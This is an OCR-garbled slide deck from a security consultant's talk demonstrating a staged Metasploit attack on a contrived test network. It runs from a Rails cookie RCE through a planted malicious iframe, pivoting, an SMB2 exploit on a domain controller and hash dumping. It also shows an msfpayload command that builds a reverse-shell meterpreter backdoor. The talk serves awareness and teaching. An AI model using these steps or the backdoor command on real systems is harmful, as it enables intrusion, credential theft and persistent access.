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Agenda

Introduction

Bit of Information on Metasploit

Walkthrough of what Metasploit gives “out of the box”

Demonstration reflecting real world (type) attack

Question time
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Where to get it

 Metasploit go get it

* http://www.metasploit.com/

* Free
e Powerful

* QOpen source
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Rules of engagement

* Self imposed rule is that the whole presentation focuses on “out-
of-the-box” functionality only

* Training last year focused on the internals, this time the goals are:

— Show the power available to anyone who can download the
framework

— Raise awareness of the dangers of tools like this in the wrong
hands

— Demonstrate a real attack scenario using only Metasploit
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Watering Hole Attack

— Watering Hole Attack
* |dentified by RSA in 2012

— Definition (from wikipedia)
* Guess (or observe) which websites the group often uses.
* Infect one or more of these websites with malware.

e Eventually, some member of the targeted group will get infected.
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Contrived Example

— Test network to illustrate a similar attack scenarios

— Attacker wants to compromise the company supersecret.com to
steal the secret ingredients
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First step, compromise the web server

— In our example the attacker has determined that users use the
‘cyclone’ application to transfer funds

— This has been selected as the target

— It’s well known this is a Ruby on Rails Application

— Check if Metasploit has anything:

— Great! Session Cookie RCE
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First step, compromise the web server

— Check the information on the exploit module

m=f exploit(rails secret deserialization) > s options

— Unfortunately we don’t have the secret
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First step, compromise the web server

— Fortunately this site is hosted on shared hosting
— Peruggia is also hosted on the site and has a file include issue

’ Peruggia 1.2

Welcome Guest | Login | Home | About | Learn

rciuyyia 1.4

Welcome Guest | Login | Home | About | Learn

- 8QLi -

# Be sure to restart your server when you modify this file.

Your secret key for verifying the integrity of signed cookies.

If you change this key, all old signed cookies will become inwvalid!
Make sure the secret is at least 30 characters and all random,

no regular words or you'll be exposed to dictionary attacks.

W e A e

1

Jd3d8076cef46a2bbb0bbiaZacSTcclel2 Teca4f3Thbaf4a4474f0cf5e781b8533887360258T7feldb6cldaff126b56al22acalai2
55f1566e50baa4f63617c383deby

Uploaded by: Per
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First step, compromise the web server

— Got everything we need now, run the exploit

— We're in!
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First step, compromise the web server

— Now we’ve the access required to plant an exploit in the cyclone
app
— Use cve-2013-2423 Java Reflection Confusion issue

— This is what we embed in the site
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First step, compromise the web server

— Add a malicious iframe to the new.html.haml

— When a user in ‘supersecret’ visits the site they get infected
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First step, compromise the web server

— We now have a foothold in the network
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Meterpreter

— Some of meterpreters’ features

* Open ashell on the remote system

* Migrate the meterpreter proccess to another process
e Get system information

e Use the system as a pivot point in the network

* Extensible

* Keyloggers, monitor webcames, install backdoors

@ root@kal
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Use the compromised host as a Pivot

— ‘use post/windows/manage/autoroute’ allows routing into the
internal network via compromised host

— This allows a way past secure perimeters
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Step 2 — Scan the internal network

— Metasploit also has scanning features
— can be used to enumerate the internal network

— ‘auxiliary/scanner/netbios/nbname_probe’

— Machines from domain supersecret

m2f auxiliary(nbname probe) > run
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Step 2 — Scan the internal network

— Three interesting machines from the domain supersecret

— Port scan the network using another scanner
‘auxiliary/scanner/portscan/tcp’
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Step 3 — Compromise the Internal Network

— Now we know the other systems on the network compromise
them using metasploit

— As the servers are listening on port 445 (SMB) we’ll use
ms09 050 smb2 negotiate func_index
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Step 3 — Compromise the Internal Network

— As an aside we’ll look at some more information on this exploit

msf exploit (ms09 050 smbZ negotiate unc in ) » search ms03 050

HMatching Modules

Di=sclosure

auxiliary/dos/windows/smnb/m=s09 050 =mbZ n
dixlliary/dos/windows/snb/ms03 050 smb’ »
exploit/windows/smb/ms09 050 smb2 negotiate func inde

L e = S S I S S S S S D

Pavload information:

Space: 1024

Deacription:
Thi=z module exploits an out of bounds function table dereference in
the SME request walidation code of the SRVZ.S5YS5 driver included with
Windows Vista, Windows 7 release candidates (not RTM), and Windows
2008 Server prior to RZ2. Windows Viasta without 5P1 does not seem
affected by thi=s flaw.

References:
http: //www.nicrosoft. com/technet,/security/bulletin/M509-050.mapx
http://
http://
http: /S www
http: /S =se
http: //www.nicrosoft. com/technet/security/Bulletin/M509-050.mapx
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Step 3 — Compromise the Internal Network

— Running the exploit against the domain controller

— Exploit can be a bit fiddly e.g. error reported but still
compromised
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Step 3 — Compromise the Internal Network

— Execute a shell and steal the secret formula

2.txRC

— Given we’re on the domain controller we may as well further
compromise the network
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Step 3 — Compromise the Internal Network

— Metasploit’s meterpreter allows dumping the hashes from the
DC

— These can be cracked using john the ripper (bending the rules
slightly)
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Step 3 — Compromise the Internal Network

— Now have access to the domain admin password (and others)

— Can access all the systems e.g.
o o S

H R N ¥ 172.16.0.13 - Remote Desktop Connection

Administrator at

— ire’c: & 1721605 - Remote Desktop Connection
Alice’s: % p

Microsoft Windows [Uersion 6.1.76611
Copuright €c) 2009 Microsoft Corporation. All

C:slUszerssAdministrator>uwhoami
supersecretsadminiztrator

"~ CisUserssAdministrator>

oo q |

Chrorr
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Hack in the box

— Using only tools provided network was completely
compromised

— Admittedly contrived example

— Shows the power of the framework (for good and evil)

WardSolutions

© 2000-2010 Ward Solutions, Ltd. All rights reserved. Confidential and Proprietary.



Get your hands dirty

— While the framework out of the box is powerful the real power
comes from customisation

— Here’s the SMB exploit we used (/usr/share/metasploit-
framework/modules/exploits):

Met: :Exploit: :Remote
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Get your hands dirty

— And the guts of it:
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Tools to help with exploit creation

— Metasploit has a number of utilities to help
(/opt/metasploit/msf3/tools)

e pattern_create.rb

e pattern_offset.rb

s WardSolutions

2000-2010 Ward Solutions, Ltd. All rights reserved. Confidential and Proprietary.



Tools to help with persistence

— Metasploit can create backdoors for you (msfpayload)

— msfpayload windows/x64/meterpreter/reverse_tcp
LHOST=172.16.0.10 X > /tmp/meterpreter.exe

— This creates a meterpreter executable which will connect back
to a waiting metasploti session

— This allows for persistence in a network
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Tip of the iceberg

— This is only the beginning of what Metasploit can offer

— Tons of things not covered e.g. customer Meterpreter scripting,
exploit development, encoding payloads, evading antivirus etc.
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Questions?

Patrick Fitzgerald

Security Consultant
misterfitzy@gmail.com
patrick.fitzgerald@ward.ie
Twitter: @misterfitzy
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